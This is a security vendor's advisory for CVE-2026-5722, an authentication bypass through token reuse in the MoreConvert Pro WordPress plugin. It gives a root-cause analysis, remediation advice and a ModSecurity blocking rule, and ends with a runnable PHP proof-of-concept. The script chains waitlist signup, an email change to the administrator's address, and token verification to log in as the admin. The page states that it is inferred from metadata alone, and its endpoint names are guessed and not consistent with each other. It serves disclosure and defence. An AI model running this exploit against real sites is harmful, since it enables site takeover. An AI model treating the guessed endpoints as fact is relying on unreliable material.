Atomic Edge analysis of CVE-2026-5722 (metadata-based):
This vulnerability allows unauthenticated attackers to bypass authentication in the MoreConvert Pro plugin for WordPress, up to version 1.9.14. The flaw resides in the guest waitlist verification flow, where a verification token remains valid even after the customer changes their email address. An attacker can use a token for a controlled email to authenticate as any existing user, including administrators.
The root cause, inferred from the CWE-287 (Improper Authentication) and the description, is that the plugin fails to invalidate or regenerate the guest verification token when the associated email address is changed. The likely vulnerable code pattern involves a function that generates a token (e.g., a hash or random string) and stores it in the database or a transient linked to the email. When the email is updated via a public waitlist endpoint, the token is not updated or flagged. This allows an attacker to supply a new target email while keeping the old token valid. No source code diff is available, so these conclusions are based on the CVE metadata alone.
Exploitation involves three steps. First, an unauthenticated attacker initiates the waitlist flow with an attacker-controlled email address, receiving a valid guest verification token (stored in a link or as a string). Second, the attacker uses a public waitlist endpoint (e.g., via an AJAX action like ‘smart_wishlist_more_convert_update_email’) to change the guest’s email to the target user’s email (e.g., an administrator). Third, the attacker calls the verification endpoint with the original token, which authenticates them as the target user due to the mismatched token-email mapping. The CVSS vector confirms network-based, low-complexity exploitation with no privileges or user interaction required.
Remediation in version 1.9.15 likely requires the plugin to invalidate any existing verification token whenever the guest email is changed, or to regenerate a new token tied to the new email. All token validation functions must check that the current email matches the email associated with the token. Additionally, tokens should have a short expiration time and be one-time use only.
If successfully exploited, this vulnerability grants complete authentication bypass. An attacker can log in as any WordPress user, including administrators. This leads to full site takeover: accessing sensitive data, modifying posts/pages, installing malicious plugins, and potentially achieving remote code execution via administrative file uploads. The CVSS score of 9.8 (Critical) reflects the severe confidentiality, integrity, and availability impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5722 (metadata-based)
# Block token reuse after email change in MoreConvert waitlist flow
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265722,phase:2,deny,status:403,chain,msg:'CVE-2026-5722 - MoreConvert Pro Waitlist Token Reuse Auth Bypass',severity:'CRITICAL',tag:'CVE-2026-5722'"
SecRule ARGS_POST:action "@streq smart_wishlist_for_more_convert_verify_token"
"chain"
SecRule ARGS_POST:email "@rx ^[^@]+@[^@]+$"
"chain"
SecRule ARGS_POST:token "@rx ^[a-f0-9]{32,64}$" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5722 - MoreConvert Pro <= 1.9.14 - Authentication Bypass via Waitlist Guest Verification Token Reuse
/*
* Assumptions:
* - Plugin uses admin-ajax.php with action 'smart_wishlist_for_more_convert_add_to_waitlist' to add guest to waitlist.
* - A public endpoint (e.g., same AJAX action with a different sub-action) accepts email updates:
* action: 'smart_wishlist_for_more_convert_update_email' and parameters: 'old_email', 'new_email'.
* - The verification endpoint is: action: 'smart_wishlist_for_more_convert_verify_token' with parameters: 'email', 'token'.
* - The attacker uses a controlled email, gets a token, changes email to the admin's email, then verifies.
* - On success, the plugin sets WordPress auth cookies. We simulate by setting a PHP session or cookie.
*/
$target_url = 'http://example.com'; // Change this to the target WordPress site
$attacker_email = 'attacker_' . uniqid() . '@example.com';
$admin_email = 'admin@example.com'; // Target admin email to impersonate
// Step 1: Add to waitlist with attacker-controlled email to get verification token
$add_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'smart_wishlist_for_more_convert_add_to_waitlist',
'email' => $attacker_email
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $add_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("Error: Failed to add to waitlist (HTTP $http_code).nResponse: $responsen");
}
// Extract token from response (assume JSON with 'token' field)
$data = json_decode($response, true);
if (!isset($data['token'])) {
die("Error: No token found in response: $responsen");
}
$token = $data['token'];
echo "[+] Got token: $tokenn";
// Step 2: Change guest email to target admin email
$update_data = array(
'action' => 'smart_wishlist_for_more_convert_update_email',
'old_email' => $attacker_email,
'new_email' => $admin_email
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $add_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("Error: Failed to update email (HTTP $http_code).nResponse: $responsen");
}
echo "[+] Changed email from $attacker_email to $admin_emailn";
// Step 3: Verify token to authenticate as admin
$verify_data = array(
'action' => 'smart_wishlist_for_more_convert_verify_token',
'email' => $admin_email,
'token' => $token
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $add_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($verify_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200 && strpos($response, 'success') !== false) {
echo "[+] Authentication successful! You are now logged in as $admin_email.n";
} else {
echo "[-] Authentication failed. Response: $responsen";
}
// Clean up
unlink('/tmp/cookies.txt');
?>
